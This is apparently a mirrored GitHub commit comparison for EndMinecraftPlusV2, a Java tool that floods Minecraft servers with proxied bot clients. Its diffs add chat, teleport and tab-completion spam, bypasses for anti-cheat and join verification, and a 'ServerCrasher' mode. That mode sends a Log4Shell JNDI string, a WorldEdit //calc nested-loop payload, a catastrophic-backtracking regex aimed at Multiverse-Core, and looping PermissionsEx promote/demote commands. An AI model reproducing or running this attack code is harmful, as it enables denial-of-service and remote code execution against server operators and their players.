mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
Compare commits
10 Commits
b4869f33a8
...
75d82e44bd
Author | SHA1 | Date | |
---|---|---|---|
|
75d82e44bd | ||
|
80d4942fe3 | ||
|
232687fcec | ||
|
4ccfeb8668 | ||
|
a30a10176a | ||
|
d0ccf05fac | ||
|
43f08c68a2 | ||
|
d1380100e7 | ||
|
f0e971aeaa | ||
|
69d64ee8de |
@ -7,14 +7,92 @@
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="jna-5.12.1" level="project" />
|
||||
<orderEntry type="library" name="bukkitYaml-0.1-pre-jar-with-dependencies" level="project" />
|
||||
<orderEntry type="library" name="libs" level="project" />
|
||||
<orderEntry type="module" module-name="VersionSupport-578" />
|
||||
<orderEntry type="module" module-name="VersionSupport-754" />
|
||||
<orderEntry type="module" module-name="VersionSupport-758" />
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module" module-name="VersionSupport-759" />
|
||||
<orderEntry type="module" module-name="VersionSupport-760" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MC-1.8.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MC-1.13.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MCP-1.14.4.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MCP-1.19.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/jna-5.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/javassist-3.22.0-CR2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionSupport-107" />
|
||||
</component>
|
||||
</module>
|
@ -13,8 +13,9 @@ ___
|
||||
___
|
||||
## 更新了什么?
|
||||
### 自定义假人名称、自定义刷屏内容/指令、高级假人绕过(点击验证/重进验证)
|
||||
### 可配置的Forge支持、猫反作弊绕过、高度自定义的配置项
|
||||
### 可配置的Forge支持、猫反作弊绕过、高度自定义的配置项、发包崩服
|
||||
### 优化内部逻辑、支持代理API更改、更加好看的输出界面~
|
||||
### [量的提升促进质的飞跃,性能开销相较EMP降低75%+]
|
||||
___
|
||||
## 常见问题:
|
||||
### 1. java.lang.ClassCastException: class jdk.internal.loader.ClassLoaders$AppClassLoader cannot be cast to class java.net.URLClassLoader
|
||||
|
38
VersionSupport-107/VersionSupport-107.iml
Normal file
38
VersionSupport-107/VersionSupport-107.iml
Normal file
@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.12.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,21 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||
|
||||
import org.spacehq.mc.protocol.data.game.ClientRequest;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
|
||||
public class VersionSupport107 {
|
||||
public static void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static void sendKeepAlivePacket(Session session, ServerKeepAlivePacket packet) {
|
||||
ClientKeepAlivePacket clientKeepAlivePacket = new ClientKeepAlivePacket(packet.getPingId());
|
||||
|
||||
session.send(clientKeepAlivePacket);
|
||||
}
|
||||
}
|
@ -16,5 +16,23 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -2,6 +2,7 @@ package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||
|
@ -16,6 +16,23 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -16,6 +16,23 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -7,7 +7,6 @@
|
||||
</content>
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
@ -18,5 +17,23 @@
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionSupport-760" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -16,6 +16,23 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
3
VersionSupport-760/src/META-INF/MANIFEST.MF
Normal file
3
VersionSupport-760/src/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||
|
BIN
libs/adventure-api-4.11.0.jar
Normal file
BIN
libs/adventure-api-4.11.0.jar
Normal file
Binary file not shown.
BIN
libs/adventure-text-serializer-plain-4.11.0.jar
Normal file
BIN
libs/adventure-text-serializer-plain-4.11.0.jar
Normal file
Binary file not shown.
BIN
libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar
Normal file
BIN
libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar
Normal file
Binary file not shown.
BIN
libs/jna-5.12.1.jar
Normal file
BIN
libs/jna-5.12.1.jar
Normal file
Binary file not shown.
@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "1.4.4";
|
||||
public static String ver = "1.4.6";
|
||||
public static Integer CfgVer = 6;
|
||||
public static Boolean isLinux = false;
|
||||
|
||||
|
@ -4,13 +4,11 @@ import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ProxyUtil {
|
||||
public static List<String> proxies = new ArrayList<>();
|
||||
public static HashMap<Object,Proxy> clientsProxy = new HashMap<>();
|
||||
public static List<Proxy> workingProxiesList = new ArrayList<>();
|
||||
|
||||
public static void getProxies() {
|
||||
|
@ -36,11 +36,11 @@ import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class BotAttack extends IAttack {
|
||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||
public static HashMap<Session, String> clientName = new HashMap<>();
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
@ -49,7 +49,6 @@ public class BotAttack extends IAttack {
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Client> clients = new ConcurrentSet<>();
|
||||
@ -77,39 +76,108 @@ public class BotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession());
|
||||
if (c.getSession().isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
for (Session c:tempList) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
try {
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
c.getSession().setFlag("login", true);
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
c.setFlag("crasher", true);
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
new Thread(() -> {
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -140,34 +208,18 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -176,16 +228,14 @@ public class BotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Client client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.getSession().isConnected()) {
|
||||
positionPacket.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
clientName.remove(client);
|
||||
alivePlayers.remove(client.getSession());
|
||||
clientName.remove(client.getSession());
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(client.getSession());
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -204,39 +254,36 @@ public class BotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client.getSession(), User[0]);
|
||||
clients.add(client);
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -279,9 +326,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
new Thread(() -> {
|
||||
handlePacket(session, packet, username);
|
||||
}).start();
|
||||
new Thread(() -> handlePacket(session, packet, username)).start();
|
||||
}
|
||||
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
@ -334,10 +379,9 @@ public class BotAttack extends IAttack {
|
||||
|
||||
rejoin++;
|
||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||
clientName.put(rejoinClient, username);
|
||||
clientName.put(rejoinClient.getSession(), username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.getSession().connect(false);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -353,7 +397,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(username);
|
||||
alivePlayers.remove(client.getSession());
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -403,8 +447,8 @@ public class BotAttack extends IAttack {
|
||||
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -438,10 +482,6 @@ public class BotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||
}
|
||||
@ -449,8 +489,8 @@ public class BotAttack extends IAttack {
|
||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
|
||||
if (!joinedPlayers.contains(session)) {
|
||||
@ -483,4 +523,5 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -6,7 +6,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
@ -29,8 +28,6 @@ import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import io.netty.util.internal.ConcurrentSet;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.serializer.ComponentSerializer;
|
||||
